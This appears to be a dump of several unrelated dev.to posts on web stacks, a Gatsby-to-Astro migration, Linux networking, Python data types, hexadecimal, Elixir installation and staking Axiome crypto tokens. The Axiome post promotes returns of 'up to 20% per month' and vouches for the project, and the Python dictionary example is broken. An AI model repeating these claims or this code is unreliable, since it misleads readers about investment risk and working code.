#### 5. Running the Application
Modify the `scripts` section of your `package.json` in the root directory to start both the server and client:
```json
"scripts": {
"start": "concurrently \"npm run server\" \"npm run client\"",
"server": "nodemon backend/server.js",
"client": "npm start --prefix client"
}
```
Now, you can start your VERN Stack application:
```bash
npm start
```
Your application should now be running, with the React frontend fetching data from the Express backend, which uses VerseDB for data storage.
### Why Choose the VERN Stack?
1. **Simplicity and Efficiency**: VerseDB offers a lightweight and easy-to-use database solution, reducing the complexity of setup and maintenance.
2. **Flexibility**: Express and Node.js provide a robust backend framework, while React offers a powerful frontend library.
3. **Performance**: The stack is optimized for performance, leveraging the strengths of each technology.
4. **Community Support**: All components of the VERN Stack have strong community support and extensive documentation.
### Conclusion
The VERN Stack is an excellent choice for developers looking to build modern web applications with a simple yet powerful technology stack. By combining VerseDB, Express, React, and Node.js, you can create efficient, scalable, and maintainable applications. Try out the VERN Stack for your next project and experience the benefits firsthand.
For more details on VerseDB, check out the [npm package](https://www.npmjs.com/package/verse.db) and the [official documentation](https://versedb.jedi-studio.com/docs/cors/connect). Happy coding!
| marco5dev |
1,889,789 | Do React ao Hotwire - Parte I - [PT-BR] | English version available Parte II Na última edição do Tropical.rb, anunciei que a Linkana iria... | 27,744 | 2024-06-16T12:19:29 | https://dev.to/cirdes/do-react-ao-hotwire-parte-i-pt-br-1hm2 | hotwire, react, rails, ruby | [English version available](https://dev.to/cirdes/from-react-to-hotwire-part-i-en-2o6g)
[Parte II](https://dev.to/cirdes/do-react-ao-hotwire-parte-ii-pt-br-3aa4)
Na última edição do [Tropical.rb](https://www.tropicalrb.com/), anunciei que a [Linkana](https://www.linkana.com/) iria iniciar a transição do React para o Hotwire. Essa transição já começou e quero contar para vocês quais desafios estamos encontrando. Antes de começar, gostaria de fazer uma retrospectiva de como tem sido minha experiência no Frontend das minhas aplicações nos últimos anos.
**Passado - Server Side Rendering (SSR) - 2011/2017**
Na minha primeira empresa, [Eventick](https://pt.wikipedia.org/wiki/Eventick), usávamos apenas as views do Rails para criar nosso Frontend. O grande desafio era elaborar layouts em um mundo onde Flexbox ou Grid não existiam. Dependíamos de floats, posicionamento absoluto/relativo e tabelas. O JavaScript se resumia ao jQuery; tentar usar JS puro era uma loucura, já que cada navegador se comportava de maneira diferente.
Nessa época, o JavaScript começou a ser levado a sério. O Internet Explorer estava perdendo mercado e os primeiros frameworks/libs "modernos" começaram a surgir. Comecei a utilizar o AngularJS 1.0, ainda integrado com as views do Rails. O papel do Angular era criar interfaces mais interativas, sem que fosse necessário escrever várias linhas de código em JS ou jQuery apenas para ocultar ou exibir um elemento. O universo JavaScript estava ganhando força, enquanto no Rails era muito difícil usar os pacotes do NPM. O mindset era utilizar gems para adicionar arquivos JS e CSS, mas as libs recebiam atualizações mas as suas gems não. Foi o momento em que o Rails ficou para trás no Frontend.
Pouco tempo depois, o React apareceu e começou a chamar atenção, principalmente com o apelo do DOM Virtual. Era uma lib que prometia desempenho ao mesmo tempo que era leve. Nesse momento, o Google decidiu mudar toda a arquitetura do Angular com o Angular V2, tornando o V1 incompatível com o futuro do Framework. Vendo o Angular em crise e o React emergir, comecei a brincar com o React. Foi mais ou menos nessa época que a Eventick foi vendida para a Sympla e eu sabia que meu próximo projeto precisaria ser um SPA com React. Era inconcebível iniciar uma startup em 2018 utilizando o caminho do Rails.
**Presente - SPA - 2017/2024**
Na Linkana, optamos pelo GraphQL depois de ler um [artigo do Airbnb](https://medium.com/airbnb-engineering/how-airbnb-is-moving-10x-faster-at-scale-with-graphql-and-apollo-aa4ec92d69e2) mencionando que estavam avançando 10 vezes mais rápido com o GraphQL e o Apollo. Mas também devido à minha frustração com o Redux, que sempre me pareceu uma solução complexa e burocrática. Olhando para trás, acredito que foi uma decisão acertada. Com o Apollo e o GraphQL, conseguimos desenvolver APIs em menos tempo e nos livramos da complexidade de lidar com o estado usando Redux, Reflux, etc. No entanto, o principal ponto negativo do GraphQL é que ele torna o problema de N+1 bastante complexo, algo que ainda enfrentamos hoje. Além de dificultar a implementação de cache nas requisições, felizmente não é um problema que precisamos enfrentar na Linkana.
O React também se mostrou uma aposta acertada, devido à grande quantidade de bibliotecas disponíveis. Por outro lado, por ser uma biblioteca e não um framework, o código React geralmente tende a se tornar bagunçado. Falta a convenção do Rails. Isso é algo que enfrentamos na Linkana, mas não considero ser um dos problemas mais graves. Sempre tentamos organizar nossos componentes utilizando o [Atomic Design](https://medium.com/pretux/atomic-design-o-que-%C3%A9-como-surgiu-e-sua-import%C3%A2ncia-para-a-cria%C3%A7%C3%A3o-do-design-system-e3ac7b5aca2c) e uma estrutura de pastas que acreditamos fazer sentido.
Outra aposta importante no início da Linkana foi o [Grommet](https://v2.grommet.io/), um framework UI que oferece componentes React para criação de interfaces. Alguns podem pensar que foi uma aposta errada, já que eventualmente migramos dele e o Grommet nunca decolou, mas não foi o caso. Na época, tínhamos em mente que a "criação do nosso Design System" era uma vaidade comum em muitas empresas, grandes e pequenas. Essa mentalidade, acredito, foi um legado do [Twitter Bootstrap](https://getbootstrap.com/). Embora o Bootstrap tenha sido a primeira biblioteca de UI a se popularizar, seu ponto forte nunca foi a personalização. Como resultado, muitos sites acabaram com uma aparência semelhante. O Grommet, além de ser um framework UI pronto, foi o único disponível em 2017/2018 que tinha o arquivo do Figma disponível. Outras opções mais populares, como MUI e Ant Design, não ofereciam esse recurso. Ter o arquivo do Figma significava que os projetos de design seriam realizados dentro do Sandbox do Grommet, evitando a necessidade de personalizações desnecessárias.
Essa arquitetura serviu bem à Linkana por alguns anos, até percebermos que o Grommet, que inicialmente facilitava nosso trabalho, estava se tornando um obstáculo quando precisávamos fazer customizações simples. Além disso, ele nos afastava do CSS; estávamos aprendendo Grommet, mas não CSS. Foi então que partimos em busca da Stack V2.
**Stack V2 com Shadcn e Tailwind**
A Stack V2 da Linkana precisava manter ou aumentar nossa produtividade, ao mesmo tempo que nos permitisse fazer as modificações mínimas que ainda desejávamos.
A primeira aposta que fiz foi no Tailwind. O Tailwind é conhecido por "looks ugly and feels good". A princípio, muitas pessoas podem sentir repulsa ao olhar as classes do Tailwind em uma tag HTML, mas depois de algumas horas de uso, percebe-se o quão conveniente é não precisar mais se preocupar com arquivos .css separados. Tudo está disponível através de classes. Para compreender isso, tive que trabalhar em um projeto paralelo.
Logo depois, descobri um conceito novo chamado "unstyled-ui", que são bibliotecas JS que implementam todo o comportamento dos componentes de uma biblioteca, deixando o CSS para ser aplicado por você. Bons exemplos são: [Radix-ui](https://www.radix-ui.com/), [Headless-ui](https://headlessui.com/) e [Tanstack](https://tanstack.com/).
A ideia de ter componentes sem UI como o Radix permite que ele seja adicionado a qualquer projeto. Não é mais necessário "lutar" para remover o estilo do componente e fazê-lo se adequar ao seu projeto. Ou ter que reinventar a roda e fazer o componente do zero. Quando vi isso, essa direção fez muito sentido para mim.
Mas o grande achado mesmo foi o [Shadcn](https://ui.shadcn.com/). O Shadcn é uma biblioteca que reúne todos esses conceitos. Ele usa o Radix como base, incorpora o Tailwind para adicionar estilo ao Radix e possui um arquivo do Figma. Além disso, o Shadcn inovou em mais um aspecto: em vez de ser um pacote npm/lib, ele é apenas um conjunto de código reutilizável que você pode copiar e colar em seu projeto. Como ele mesmo diz:
> Isto NÃO é uma biblioteca de componentes. É uma coleção de componentes reutilizáveis que você pode copiar e colar nos seus aplicativos
Embora isso possa parecer estranho, tenho visto esse modelo sendo aplicado cada vez mais em outros projetos, pois ele permite que você utilize componentes, mas ao mesmo tempo te dá uma possibilidade de personalização como nunca antes foi possível. Ele junta a praticidade de um Bootstrap com a customização de um "Design System" próprio. Além disso ele conta uma [IA para gerar interfaces gráficas](https://v0.dev/).
Ao juntar tudo isso, temos o Frontend SPA com [React da Linkana](https://linkanalabs.github.io/linkana/).
Falarei sobre o Hotwire na [parte II](https://dev.to/cirdes/do-react-ao-hotwire-parte-ii-pt-br-3aa4) desse artigo. | cirdes |
1,889,709 | A tale about migrating a 200 entries Gatsby blog untouched for 3 years to Astro | A little context about the tech blog and the migration I was working at Theodo, a high-end... | 0 | 2024-06-16T12:19:00 | https://jeremiec.com/migrating-theodos-blog-from-gastby-to-astro/ | astro, gatsby, performance | ## A little context about the tech blog and the migration
I was working at Theodo, a high-end service company. As part of our diverse missions, we would often have to solve some interesting business challenges using interesting technical solutions.
To share those learnings with the world, we have a technical blog at [https://blog.theodo.com/](https://blog.theodo.com/).
Over the years, the blog was migrated from WordPress to Gatsby for blazing fast performance and nice features. Blazing being about a medium 60 [lighthouse score](https://pagespeed.web.dev/) for a mostly static site, not very blazing. Sadly, when writing new articles, a slightly annoying 5 minutes boot time was required before any change could be shown. It was about 2 years after we started using [Vitejs](https://vitejs.dev/) in production for most SPA clients, and the slowness was terrible.
A nice workaround was to only load the last given month of articles, to reduce Gatsby's internal query resolution in development, allowing a reasonable boot time.
### More reasons to quit Gatsby
After a few articles on the blog, I was curious. Could I improve the developer experience while keeping the user experience at least at the same level? I wanted to dive into our Gatsby blog internals to find if I could improve query resolution and dev server boot time. Sadly, after learning about Gatsby and its abstraction of using a GraphQL layer to aggregate all data from any data source, I was at a loss. GraphQL can be great in some cases, like using Relay to send only one request on a client to load a full page worth of data. GraphQL as an abstraction layer to query data over markdown files, not as great. Looking at those queries, it felt like seeing an ant being squashed by a steamroller.
Another aspect of the long build time was our continuous deployment pipeline: the site was deployed on Cloudflare Pages, and the build time was often big enough to encounter timeouts.
Gatsby itself seemed less and less maintained, with very little activity on the main repository.
Lastly, for a blog consisting mainly of text and images, we were shipping the full power of React.js. Quite overkill to toggle a search bar.
### Reasons to consider Astro
Astro, on the other hand, had excellent press. Beginning with pristine documentation, [including a migrate from Gatsby entry](https://docs.astro.build/en/guides/migrate-to-astro/from-gatsby/). From a few experiments on other projects, it was quite a solid framework with a great developer experience. Importantly, there was little glass ceiling in terms of framework features: we get to keep React.js and JSX.
An incredibly simpler model regarding markdown files as blog post entry collections with built-in validation of frontmatter, excellent typing, etc.
Built on top of Vite, meaning a faster boot time in development (spoiler: about 20s for 200 entries with no optimizations), meaning fast hot module replacement.
A golden path regarding performance, with the island architecture, meaning no client-side JavaScript for static content.
## The migration from Gatsby to Astro
### Migrating from StyledComponents to Tailwind
First of all, as the codebase was quite old and as I didn't want to bring more tech than what was required, I started to migrate my few React components on Gatsby from StyledComponent (a great CSS-in-JS solution) to [Tailwind CSS](https://tailwindcss.com/). Mostly because I wanted to see if I could measure the impact of moving from CSS-in-JS to pure CSS. The second goal was to allow Astro to run without client-side JS. To do so, I either needed to set up StyledComponent in Astro or migrate to Tailwind. Tailwind is documented and largely used on most projects now, and I was curious about the performance impact.
The migration was actually easier than anticipated. Mostly done in the span of a few days, I had the privilege of allowing myself breaking changes on some design (like using Tailwind `prose` for blog posts).
One last "find the 7 errors game" later, the migration was live.
For curiosity's sake, I measured the performance of some pages. The verdict was both surprising and anticlimactic. For such simple pages, there was absolutely no difference performance-wise. User experience-wise, I used the opportunity to fix a few flashes of incorrectly styled content (think JS responsive), meaning a slight improvement unrelated to Tailwind.
My biggest known dependency was solved, it was time to write some Astro!
### Creating an Astro shell
After a quick setup using Astro `create-app` and adding React and Tailwind dependencies, it was time to recreate the shell pages. I copied 2 posts and got to work on the main homepage, which is just a basic post listing page. Let's go!
Alright, I copied over my React component pages, commenting Gatsby GraphQL page queries to convert them into Astro content collection syntax... And it's already screaming at me "this blog post has no author"! Quick check: did I forget to copy an author? No, it's indeed missing and not accounted for in Gatsby. Thanks to TypeScript and Astro strict typing, 5 minutes in, I already know of an unaccounted-for edge case.
After working out how to fetch my posts and display them on my homepage, to match the current blog features, I needed some more grunt work. I needed to create post excerpts.
Alright, to do so, I simply needed to render the post and take the first K words of the content. Some sanitizing later and it's done.
I have a few more pages to write: posts by author, by category.
And it's quite simple to write as well: it's just a JS `.filter()` on a list after all. [Astro even documents the use case](https://docs.astro.build/en/guides/content-collections/#filtering-collection-queries) or better yet, creating filters with an [arbitrary list of tags and paginating those](https://docs.astro.build/en/guides/routing/#nested-pagination).
Okay, just need to create an RSS feed, there is an Astro integration so it's quite trivial.
### Migrating data
Okay, so I have a nice blog with 2 posts. I had to adapt those posts a bit to be rendered correctly (edit image path to be relative and not just image slug, think `./my_image.png` vs `my_image.png` which isn't shocking).
And that's where shit hit the fan. Astro (in TypeScript strict mode) is so incredibly much stricter than Gatsby. It's an incredible pain to migrate those files, there are over 200 blog posts and if image names can be automated easily (basic glob + regex stuff), some changes need to be dealt with by hand.
A ton of posts are simply referencing missing images. A quick check on the live blog allows me to verify how Gatsby deals with it. It's simply a broken image, not the best default. Having a "missing image error" blocking the build is a pain when you are migrating all those posts but so incredibly useful to avoid making a typo mistake when contributing.
Some posts are nearly completely opting out of markdown and using a ton of HTML markup to create custom layouts. With Astro, those could just have used MDX, but I'm faced with a migration issue. I need to keep those posts looking similar, but the rework is quite tedious as MDX is [quite a strict flavor of markdown](https://mdxjs.com/docs/troubleshooting-mdx/#problems-writing-mdx). [I highly recommend using the VSCode MDX extension which helps quite a bit in detecting broken syntax](https://marketplace.visualstudio.com/items?itemName=unifiedjs.vscode-mdx).
My recommendation is to do those changes using a script. When you have 200+ posts to change, doing this by hand is tedious and error-prone. If a new post is published, you need to import it as well. It's a bit longer to set up first but having a script that does every modification you need directly allows you to check your data migration and play it easily on the latest posts when releasing the migration.
### Post data migration nice to have
After migrating the data, I still needed to address a few features that I didn't implement yet:
- Search: Using our old search was not possible nor wanted and I found a great static page search in [Pagefind](https://pagefind.app/). There is even a simple Astro integration to avoid boilerplate code. The search is both faster than before, accessible through the shortcut `/` and has a nice excerpt as well as a picture for each result. Nice win!
- By default, there is no React.js on the client, see results for the impact, but it's clearly a better golden path for static sites. I even chose to only keep JSX as Astro components to opt-in to a very light [Alpine.js](https://alpinejs.dev/) client-side library for light interactivity like the search/header.
- I also needed to keep the infinite scroll on the homepage, authors, and categories pages which allow for scrolling all 200 posts as paginated pages of about 10 posts. To do so, I used partial HTML render routes that I render at build time with Astro (like any other page) and used [HTMX](https://htmx.org/) to fetch pages on scroll. You can try it by scrolling on the [blog homepage](https://blog.theodo.com/) to see requests going out when scrolling to load the next page and inject it into the current document.
## Result of migrating from Gatsby to Astro
My goal with this migration was to:
- ✅ Simplify features contribution to the blog: Using basic JS/JSX helps in driving down complexity, TypeScript helps in avoiding edge cases.
- ✅ At least keep the user experience on par: The blog performance on Lighthouse increased from 69 to a comfortable 99 (migration to Astro + using [Partytown](https://partytown.builder.io/) for analytics) and a few features/ugly content flash were added/fixed.
- ✅ Improve developer experience when contributing articles: All posts are rendered in development, page live update is a lot faster on content change, TypeScript helps with typos to avoid missing images.
What I'm less proud of and might have been too much of an experiment:
- Using Alpine.js/HTMX:❓ Both are quite simple tools but especially HTMX requires thinking a bit differently about how to update frontend UI. This might make the contribution a bit harder. However, it needs to be weighed against the amount of logic that would have been a React.js hook + component to create such an infinite scrolling with the corresponding REST API routes.
| jeremiec |
1,890,249 | Linux networking tools | 𝗦𝗼𝘂𝗿𝗰𝗲: https://wizardzines.com/networking-tools-poster/ share in the section comments your... | 0 | 2024-06-16T12:12:59 | https://dev.to/haroldo89/linux-networking-tools-35b9 | networking, linux, devops | 𝗦𝗼𝘂𝗿𝗰𝗲: https://wizardzines.com/networking-tools-poster/

share in the section comments your favorite tool :)
| haroldo89 |
1,890,248 | Linux networking tools | 𝗦𝗼𝘂𝗿𝗰𝗲: https://lnkd.in/grHR7Kdv share in the section comments your favorite tool :) | 0 | 2024-06-16T12:12:59 | https://dev.to/haroldo89/linux-networking-tools-bh7 | networking, linux, devops | 𝗦𝗼𝘂𝗿𝗰𝗲: https://lnkd.in/grHR7Kdv

share in the section comments your favorite tool :)
| haroldo89 |
1,890,244 | Axiome: Can it be trusted? | How to Earn on Axiome: A Guide to Staking and Delegating AXM Tokens, Review of the Project. ... | 0 | 2024-06-16T12:11:02 | https://dev.to/beastycryptoboy/axiome-can-it-be-trusted-17e9 | axiome, block, crypto | **How to Earn on Axiome: A Guide to Staking and Delegating AXM Tokens, Review of the Project.**
# Introduction
In the DeFi world (decentralized finance), staking and delegating have become some of the most popular and effective ways to earn money online. The Axiome platform offers unique opportunities for generating stable income from staking and delegating AXM tokens. In this guide, we will explore how to start staking, what kind of returns you can expect, and how to manage your assets on the Axiome platform.
Staking and delegating not only allow you to earn passive income but also play a crucial role in maintaining the security and stability of the Axiome network. By joining the ecosystem, you become part of a global financial revolution and gain the opportunity to influence the development of the project.
> In this article, I will explain how you can earn on Axiome using staking and delegating AXM tokens. If you are looking for reliable and promising opportunities for cryptocurrency investments, read on to find out what makes Axiome special.
>
## What are Staking and Delegating?
### Definition of Staking
Staking is the process of holding cryptocurrency in a wallet to support the operations of a blockchain. Users who engage in staking receive rewards for supporting the network and participating in the transaction validation process. Staking is an essential part of many blockchain ecosystems, as it helps ensure the security and decentralization of the network.
> In general, it's not just a way to earn money online but also a contribution to the security and stability of the blockchain, making it particularly important for the entire ecosystem.
>
### Definition of Delegating
Delegating is the process whereby users transfer their tokens to validators to participate in transaction validation and network maintenance. Delegating allows users to earn rewards from staking without engaging in the technical aspects of validation. Validators, in turn, receive rewards and share them with delegators.
> Delegating is the perfect solution for those who want to earn from staking but lack the technical skills or time to participate directly in transaction validation.
>
### Advantages of Staking and Delegating
1. **Passive Income:** Staking and delegating provide the opportunity to earn a stable passive income through rewards for participating in the network.
2. **Network Support:** By participating in staking and delegating, users help maintain the security and stability of the Axiome network, contributing to its long-term development.
3. **Simplicity and Accessibility:** Delegating tokens does not require deep technical knowledge, making this earning method accessible to a wide audience.
4. **High Yield:** Rewards for staking and delegating in Axiome can reach up to 20% per month, significantly surpassing the returns of traditional financial instruments.
> In conclusion of its advantages, it can be said that the high profitability and simplicity of delegating make Axiome an attractive platform for investors seeking new opportunities and efficient ways to earn online in the DeFi sphere. Therefore, below I will explain how to start staking in Axiome.
>
**## How to start staking in Axiome?**
### Creating a wallet and acquiring AXM tokens
1. Wallet Selection: To get started with Axiome, choose a cryptocurrency wallet that supports AXM tokens. Axiome already has its own application, Axiome Wallet, available on Google Play ([Link](https://play.google.com/store/apps/details?id=club.relounge.axiomewallet&pli=1)) and the App Store ([Link](https://apps.apple.com/ru/app/axiome-wallet/id6502285079)). They released it in early May and announced it on their Telegram channel.


2. Wallet Installation: Download and install the chosen wallet application on your phone. Follow the instructions to create a new wallet. Don't forget to write down and save the mnemonic phrase (seed phrase) in a secure place.
- **How to Register an Account? Instructions**
**Step 1:** [**Download**](https://ru.axiomeinfo.org/beginning/kak-skachat-mobilnoe-prilozhenie) the Axiome Wallet application to your device.
**Step 2:** Click on the "**Registration**" button on the login page.

**Step 3:** Fill in the specified fields.
> *You need to come up with a nickname that cannot be used to identify you. Since the entire ecosystem is blockchain-based, all data is open. Remember your privacy!*
>
Step 4: Your seed phrase will be generated, which is the access key to your wallet and, consequently, AXM tokens. Be sure to save it in the most secure place.

**Step 5:** Repeat your seed phrase and make sure you have saved it correctly.

**Step 6:** Next, you need to come up with a PIN code to access your account and confirm it. Then, activate Touch or Face ID if necessary. That's it, registration is complete!

1. **Acquiring AXM Tokens**
- Purchase AXM tokens on one of the supported exchanges. Currently, Axiome tokens can be bought on the MEXC exchange. [(Link)](https://www.mexc.com/exchange/AXM_USDT?_from=search).
2. **Transferring Tokens to the Wallet**
- Transfer AXM tokens from the exchange to your wallet. To do this, copy the address of your wallet and use it when withdrawing tokens from the exchange.

**Step 2:** In the window that appears, select a validator and enter the amount. The "Available" indicator displays the balance of your main wallet, where you transferred the purchased tokens.

**Step 3:** Click "**Confirm**." Your AXM tokens will be moved from the Main Wallet to the Delegation Wallet.
A partner fee of **15%** is charged for each delegation for higher-level mentors in the partner program. This incentivizes the community to be more involved in the project's development by paying generous partner rewards. I will provide more details about the partner program in the next article.

> During delegation, don't forget to leave some AXM tokens to cover network fees for future transactions. Otherwise, you won't be able to claim your rewards for delegation.
>
## My review of the project
At first glance, the project looks quite promising, offering innovative solutions in the field of decentralized finance (DeFi) and blockchain technologies.
In my opinion, Axiome stands out among other projects due to their transparency and openness. The team regularly publishes reports and updates, which creates a sense of trust. In their Telegram channel, where they constantly make reports, there are already almost four thousand subscribers.

> It is worth noting that the Axiome platform has already undergone a security audit by independent experts from SolidProof. This is an important step that helps to avoid potential risks and indicates the team's serious attitude towards user security.
>
The project has an active community that actively discusses ideas regarding the project and the coin, and shares experiences. This allows new users to easily join the project and receive support, which is also an important aspect for long-term success.

Of course, as with any investment project, there are risks involved here. It is important to understand that the cryptocurrency market and coins are extremely volatile, and investing should be done with caution, after conducting your own research and answering whether it is worth it. I will leave all project links below.
Overall, the Axiome project looks promising and deserves attention from those interested in new opportunities in the world of cryptocurrencies and coins. Its transparency, openness, and community support instill confidence that the project is not a scam and has the potential for growth.
## Project Links:
Detailed documentation in English: [axiomeinfo.org](https://en.axiomeinfo.org/)
Instagram account: [axiome_en](https://www.instagram.com/axiome_en/)
Telegram channel: t.me/axiomeen
Website: [axiome.pro](https://axiome.pro/)
Block explorer: [axiomechain.org](http://axiomechain.org/)
YouTube channel: [@axiome_en](https://www.youtube.com/@AxiomeEN)
Twitter: [x.com/axiome_pro](http://x.com/axiome_pro)
Support: [@axiomesupport](https://t.me/axiomesupport)
All links: [linktr.ee/axiome_pro](https://linktr.ee/axiome_pro)
| beastycryptoboy |
1,890,246 | Python for DevOps: #Day13 of 90DaysofDevops | What is Python? Python is a computer programming language often used to build websites and software,... | 0 | 2024-06-16T12:09:39 | https://dev.to/oncloud7/python-for-devops-day13-of-90daysofdevops-1bdo | python, devops, cloudcomputing, 90daysofdevops | **What is Python?**
Python is a computer programming language often used to build websites and software, automate tasks and conduct data analysis.
It is a general-purpose language, meaning it can be used to create a variety of different programs and isn’t specialized for any specific problems.
**How it is useful for DevOps?**
Python is one of the best programming languages for Automation in DevOps.
DevOps teams use Python for automating repetitive tasks, infrastructure provisioning, and API-driven deployments. CI/CD workflows and much more.
**Installation:**
You can install Python in your System whether it is Windows, MacOS, ubuntu, centos etc. Below are the links for the installation:
**Windows installation**
Ubuntu: apt-get install python3.6
**Task1:**
1. Install Python in your respective OS, and check the version.
I have installed it on Windows.

**Read about different Data Types in Python.**
Variables can store data of different types, and different types can do different things.
Python has the following data types built-in by default, in these categories:
1. Numeric Types:`int, float, complex,`
2. Sequence Types: `list, tuple, range.`
3. Mapping Type:`dict`
4. Set Types: `set, frozenset`
5. Boolean Type:` bool `
6. Binary Types:` bytes, bytearray, memoryview.`
**1. Python Numeric Data Type:**
Python numeric data type is used to hold numeric values like;
`int - `holds signed integers of non-limited length.
`float-` holds floating precision numbers and it’s accurate up to 15 decimal places.
`complex-` holds complex numbers.
**2. Python String Data Type:**
The string is a sequence of characters. Python supports Unicode characters. Generally, strings are represented by either single or double quotes.
```
a = "Hello everyone"
b= 'I am NamG'
print(a)
print(b)
```
**Python List Data Type:**
Lists are just like arrays, declared in other languages which is an ordered collection of data. It is very flexible as the items in a list do not need to be of the same type. Lists are mutable.
Lists in Python can be created by just placing the sequence inside the square brackets[ ].
# list of having only integers:
```
a= [1,2,3,4,5,6]
print(a)
```
# list of having only strings:
```
b=["hii","hello","good"]
print(b)
```
# list of having both integers and strings
```
c= ["hello","name",1,2,3]
print(c)
```
**4. Python Tuple:**
The tuple is another data type which is a sequence of data similar to a list but it is immutable. That means data in a tuple is write-protected. Data in a tuple is written using parenthesis ( ) and commas.
```
#tuple having multiple type of data.
b=("hello", 1,2,3,"namg")
print(b)
```
**5. Python Dictionary:**
Python Dictionary is an unordered sequence of data of key-value pair form. It is similar to the hash table type. Dictionaries are written within curly braces in the form key: value. It is very useful to retrieve data in an optimized way among a large amount of data.
```
a = {"firstname":"sayali","last name":"shewale", "age":25}
```
# print value having key=1
```
print(a[1])
```
# print value having key=2
```
print(a[2])
```
# print value having key=3
```
print(a[3])
```
| oncloud7 |
1,890,178 | SteamVR Overlay with Unity: Create Project | Create a new Unity project Create a new project on Unity Hub. Select 3D project... | 27,740 | 2024-06-16T10:32:30 | https://dev.to/kurohuku/part-1-create-project-29nb | unity3d, steamvr, vr, openv | ## Create a new Unity project
Create a new project on Unity Hub.
Select 3D project template.

## Install SteamVR Plugin
Click “Add to My Asset” on the Unity Asset Store.
https://assetstore.unity.com/packages/tools/integration/steamvr-plugin-32647

Then click **“Open in Unity”** on the asset store page.
Unity Package Manager will be shown, click **Import**.

Click **OK** in this dialog and restart the Unity project as instructed.

The installation is complete if the **Assets/SteamVR** folder is created.

---
### Optional: If you don’t use the SteamVR Plugin
In this tutorial, we use the OpenVR files included in the SteamVR Plugin.
If you want to use the latest version of OpenVR or to have a minimal amount of files, download the following files from their [GitHub repository](https://github.com/ValveSoftware/openvr).
- headers/openvr_api.cs
- bin/win64/openvr_api.dll (and other dlls you want to support)
Put the downloaded files inside the Assets folder.
---
## Project setting
Open **Edit > Project Settings > XR Plug-in Management**.
Uncheck **Initialize XR on Startup**.

## Create empty scene
Delete all objects from the scene.

Finally, the project setup is done! We will set up the OpenVR API in the next part.
| kurohuku |
1,890,245 | What is Hexadecimal? | So, What the Heck is Hexadecimal? Hexadecimal also known as Base 16 is used for a variety... | 0 | 2024-06-16T12:07:42 | https://salladshootersblog.replit.app/ | webdev, beginners, css | ### So, What the Heck is Hexadecimal?
Hexadecimal also known as Base 16 is used for a variety of things, such as CSS colors, Minecraft Redstone, and more. The main one we will focus on today will be using it in CSS.
___
You may have seen numbers and letters within a CSS color tag before `#A1B2C3`, this is using Hexadecimal to generate colors for CSS, it is used as modern computers can visualize around **16 million** colors and Hexadecimal happens to be almost perfect (16^6 = 16,777,216). Hexadecimal begins like common Base 10, (0, 1, 2, 3, 4, 5, 6, 7, 8, 9 and for reference Binary: 0, 1) it is very similar it counts up from 0 to 9, after that is gets a tad bit strange, it starts using the English Alphabet (A, B, C, D, E, F) you can think of these letters like playing card values (J: 11, Q: 12, K: 13, etc.). In ascending order A starts at 10 and F ends at 15. In Base 10 each column to the left of the 1’s place multiplies by 10, Binary multiplies by 2, so Hexadecimal (Base 16) therefore multiplies by 16: `4096 | 256 | 16 | 1` or Base 10: `1000 | 100 | 10 | 1`.
___
With this newfound knowledge we can easily convert Base 10 to Hexadecimal and vice versa. For example take the number 312 and convert it into Hexadecimal, we can do it with only three place values: 138.
___
To use it in CSS you initiate the color with a hash symbol `#` and then type in Hexadecimal, each space for R(red) G(green) B(blue) uses two values, so `16 | 1`, they can simulate up to 256 different values (0 to 255), so you can think of a color as `#R(_ _)G(_ _)B(_ _)`, and each value you add in each color space adds or removes that color from the total.
___
I hope you found this helpful in someway. Like clearing up misnomers or learning something completely new (I know this completely changed the CSS game when I learned Hexadecimal and could better visualize the color outputs). Go teach someone else you know who would need this.
Have a good day!
— SalladShooter | salladshooter |
1,890,230 | Complete Guide: Installing Elixir on Fedora/Linux 40 | Introduction In this guide, we will learn how to install Elixir on Fedora/Linux version... | 0 | 2024-06-16T11:55:14 | https://dev.to/abreujp/guia-completo-instalando-elixir-no-fedoralinux-40-100f | elixir |
## Introduction
In this guide, we will learn how to install Elixir on Fedora/Linux version 40. Elixir is a functional and concurrent programming language, ideal for developing distributed applications.
I am currently using Fedora/Linux version 40 with a window manager called DWM, which is a Tiling Window Manager that allows you to open windows within predefined layouts and has several workspaces called tags.
There are two main methods to install Elixir on Fedora: using the `dnf` package manager or using `asdf`, a version manager. I personally use `asdf`, but I will show both methods so you can choose the one that best suits your needs.
## Method 1: Installing Elixir with `dnf`
To install Elixir using Fedora's package manager called `dnf`, you can type the following command in the terminal:
## Method 1: Installing Elixir with `dnf`
To install Elixir using Fedora's package manager called `dnf`, you can type the following command in the terminal:
```bash
sudo dnf install elixir erlang erlang-doc
```
- **elixir**: This package installs the Elixir compiler and the basic tools needed to develop with Elixir.
- **erlang**: This package installs the Erlang virtual machine (BEAM) and the necessary components to run Elixir applications.
- **erlang-doc**: This package contains the Erlang documentation, which can be useful for reference during development.
## Using VS Code with Elixir
As a code editor, you can use VS Code with the ElixirLS extension, which is a language server that provides autocompletion and other features. You can find it on the [Visual Studio Code Marketplace](https://marketplace.visualstudio.com/items?itemName=JakeBecker.elixir-ls).
## Method 2: Installing `asdf` on Fedora
In my specific case, I use `asdf`, which is a version manager, making it easier to have multiple versions of Elixir and Erlang installed on my machine and switch between them for each project.
You can find more information about `asdf` at the following address: [asdf-vm.com](https://asdf-vm.com/). One of the advantages of `asdf` is that you can have a single installation manager supporting multiple languages.
## Installing `asdf` on Fedora
### Step 1: Install Dependencies
First, install two dependencies:
```bash
sudo dnf install curl git
```
### Step 2: Clone the `asdf` Repository
Next, run the following git command in your terminal to install `asdf`:
### Step 3: Configure Zsh
For those using Zsh as a shell, the following configuration must be done in the `.zshrc` file by adding the line below:
```bash
. "$HOME/.asdf/asdf.sh"
```
### Step 4: Install Additional Dependencies
Now, to install `asdf` plugins for each language on Fedora, you need to install some dependencies:
```bash
sudo dnf install gnupg2 curl gawk
```
### Plugins I Use with `asdf`:
#### Node.js
To add the Node.js plugin:
```bash
asdf plugin add nodejs https://github.com/asdf-vm/asdf-nodejs.git
```
To list available versions for installation:
```bash
asdf list-all nodejs
```
Installing a specific version:
```bash
asdf install nodejs 20.14.0
```
Setting the global version:
```bash
asdf global nodejs 20.14.0
```
#### Erlang
Erlang is necessary to have the virtual machine where Elixir will run.
To add the Erlang plugin:
```bash
asdf plugin add erlang https://github.com/asdf-vm/asdf-erlang.git
```
Install dependencies for Fedora ([link for more information](https://github.com/asdf-vm/asdf-erlang)):
```bash
sudo dnf groupinstall -y 'Development Tools' 'C Development Tools and Libraries'
sudo dnf install -y autoconf ncurses-devel openssl-devel libxslt fop
```
Installing a specific version:
```bash
asdf install erlang 27.0
```
Setting the global version:
```bash
asdf global erlang 27.0
```
